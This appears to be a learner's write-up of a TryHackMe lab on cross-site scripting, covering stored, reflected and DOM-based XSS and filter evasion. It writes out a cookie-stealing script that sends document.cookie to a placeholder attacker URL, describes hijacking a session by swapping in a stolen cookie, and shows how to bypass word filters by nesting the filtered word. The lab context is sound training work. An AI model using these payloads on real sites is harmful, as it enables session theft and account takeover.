TryHackMe | Cross-site Scripting

This is a write up for the TryHackMe Cross site scripting room: tryhackme.com/room/xss

Stored XSS

In stored XSS, the malicious code is permanently stored in the webpage's database, and then everyone who visits/requests the compromised webpage is injected with the malicious code.

First connect to the playground website and register an account. I chose to create an account called "user1" with password "password". After registering, navigate the navbar menu and go to the stored XSS page. Here you will see a forum with comments. image.png

Task 1

The first task is to try and see whether you can add some HTML by adding a comment. So I tried entering the text <'h1>vuln<'/h1> to see whether a heading would be displayed in the comments section. This was successful:

image.png

Task 2

The second task is to create an alert popup with your document cookies. We know the "alert()" function is used to create an alert on a page. But how do we get the document cookies. A quick google search will lead to the document.cookie syntax:

image.png

After entering this an alert will popup with the cookie details, and after you click continue the flag for the second task is available.

image.png

image.png

Task 3

The third task is to change "XSS Playground" to "I am a hacker" by adding comments and using Javascript. This can be broken down into two steps. The first step is to select the DOM element containing the text "XSS Playground" and next manipulate its value. We can see the original page navbar heading and it's value here:

image.png

We know that we can get an element using the query selector, so if we inspect the source HTML we can find the id of the element, which seems to be "thm-title".

image.png

We also know we can change the inner HTML using the .innerHTML property of an element. Combining the two steps we get: document.getElementById("thm-title").innerHTML = "i am a hacker";

This successfully changes the header:

image.png

The flag for the question can be found next to the question in red:

image.png

Task 4

In task 4 we want to take over Jack's account by stealing his cookie. We are provided with a script that can be used to redirect a victim to a new page with their cookie in the URL.

"<"script>window.location='attacker/?cookie='+document.cookie"<"/script>

I initially assumed that if we comment this script and jack reads it that it will take him to a new page with his cookie in the URL:

image.png

This is not ideal, it's too conspicuous. Once this scrpt is embedded into the webpage, it will redirect users to this logs page every single time they view the comments section, and more importantly it won't make their cookie visible to me, but rather to them only.

So the next step is to find a way to store the information from Jack somewhere. At this point I clicked the hint and it's revealed to us that there is a log page, and everytime a request is made to the log page, the rest of the url is outputted on the page itself:

image.png

image.png

The way this works is that when a user visits this page the script is run on their end and a request to the logs page is made, with their cookie appended in the url. So we can just refresh the logs page until we see a cookie that isn't ours appear. In XSS, attackers typically set up their own webserver to store the information they extract but this room has made things easier by providing the logs page for us. After pasting the script in the comments section, wait a little while and then refresh the logs page; Jack's cookie is stored there now:

image.png

I discovered another method by taking another look at the logs page, there is a hyper link that when clicked, will paste some text into the logs page, i decided to look at the html source code use the format as a template for my own request to the logs page

image.png

This way if this Jack user clicks it it will make a request to the logs page. This isn't an optimal solution though, because when you click it, it will redirect you to the logs page, so a victim could tell something is wrong, but I thought it was interesting. img tags can also be used.

image.png

Task 5

Once we have Jack's cookie, we go to developer tools and under storage we can double click our cookie value and repalce it with the cookie we took from Jack.

image.png

After that we can go to the home page, or just refresh. image.png

After posting a comment as Jack the flag for this question will appear.

image.png

Reflected XSS

In both reflected and stored XSS, the victim sends a request to the website containing the attacker's malicious payload. In reflected XSS, the response is immediate and the script is reflected back at the user off the web application, while in stored XSS, the payload is embedded into the web page and a response occurs later.

Task 1: Craft a reflected XSS payload that will cause a popup saying "Hello"

First try search anything, just to observe the search url parameter/template. Then replace the search term in the URL with the script "<"script>alert("Hello")"<"/script> (It is case sensitive).

image.png

The result is a popup with the text "Hello", followed by the flag for this task.

image.png

Extra helpful resources I came across: portswigger.net/web-security/cross-site-scr..

  • heading: How to find and test for reflected XSS vulnerabilities.
    • Explores how to exploit XSS vulnerabilties including testing different URL parameters

Task 2: Craft a reflected XSS payload that will cause a popup with your machines IP address

There are two steps to this problem. The first is to retrieve our machine's ip address aka the website's IP address, and the second step is to create a pop up which we already know how to do using the alert function.

I googled "javascript function to get website ip address" and was informed that location.host would return the ip address. It did work and return the machine IP, but it will not reveal the flag for the task.

image.png

image.png

After clicking the hint, we are encouraged to use the window object properties: "window.location.hostname". This has the same output as the previous solution.

image.png

However, this time after closing the popup, the flag appears:

image.png

DOM-based XSS

The attack is neither reflected nor stored. Attack payload is executed by modifying DOM environment in client's browser

Can use URI fragments: part of URL after the # sign (window.location.hash), are sometimes used to remember a user's location on a page. When the value changes, the html doesn't change. They aren't sent with http requests so they need to be interpreted using client side JS. Need to make sure that treatment of URI fragments doesn't permit injection of malicious JS.

Helpful resources: youtube.com/watch?v=_3Wgx1FabIo youtube.com/watch?v=-9QN_kGPkEc crashtest-security.com/dom-based-xss-attack

Task 1: Look at the Javascript source code to find a way to execute an alert with your cookies.

The page takes in an image URL and returns the image to the side by creating a new div element. After analysing the source code we can observe how this function operates. image.png

When you inspect the div element, you can observe how the dom element changes depending on the input. We know know that we can add event handlers to dom elements, such as onerror. We can enter an invalid img URL input and then escape and add an onerror event handler to execute whatever javascript we want:

image.png

Simply add your cookies as the parameter for the alert function, and the flag will be revealed. (window.document.cookies):

image.png

Click the hint and it will reveal another solution using the onmouseover event handler. Replace onerror with this and the flag will be revealed similarly.

Task 2: Create an onhover event on an image tag, that change the background color of the website to red.

For this task we can use our previous solution and our knowledge of html/css to select the body dom element and add a style property. i.e.: document.body.style.background="red". The function works with onerror() but the flag only appeared using onmouseover():

image.png

XSS for IP/Port Scanning

The browser operates on the application layer, and as such doesn't understand the difference between internal/external IP addresses. This means that any website can ask your browser to request a resource from your internal network.

We can use this for port scanning purposes. If you create a script to iterate through a range of ports to scan and request a random resource from it. Note that closed ports will refuse a connection while open ones may return an undefined image instead. You can store then interperet these results with your script

Helpful resources: neonprimetime.blogspot.com/2015/09/cross-si..

Tryhackme example ip scanning script:

In depth script: github.com/aabeling/portscan/blob/master/po..

  • No answer needed

XSS Keylogger

You can use stored XSS to embed a keylogger on to a webpage. Example script provided by TryHackMe:

  • No answer needed

Filter Evasion

Inspectinng the source code reveals the javascript functions that are responsible for input filtering:

image.png

Task 1: Bypass the filter that removes any script tags.

Use dom based XSS to create a div with mouse over event handler to execute script. image.png

Task 2: The word alert is filtered, bypass it.

My initial thought was to look for alternative methods of making a pop up without using using "alert()", however I couldn't find one. After viewing a write up I was informed of the confirm() and prompt() methods:

image.png

Task 3: The word hello is filtered, bypass it.

Initially tried to input a script that would change the id of the submit form, so that the input would be evaluated by the same function that evaluates the previous input, then I could use the previous solution after, resulting in something like this:

This was unsuccessful.

After looking at a writeup, the solution made sense. The function that sanitises the input is very simplistic and just replaces every instance of the offending word with an empty string. So if you embed the word "Hello" within the word "Hello" like this: "HHelloello then what is left after the function replaces "Hello"...is still "Hello":

image.png

Task 4:

Filtered in challenge 4 is as follows:

Hello
script
onerror
onsubmit
onload
onmouseover
onfocus
onmouseout
onkeypress
onchange

You can just use the same method of bypassing the function as the previous question, in this case encrypting "Hello" and "onmouseover" within themselves:

image.png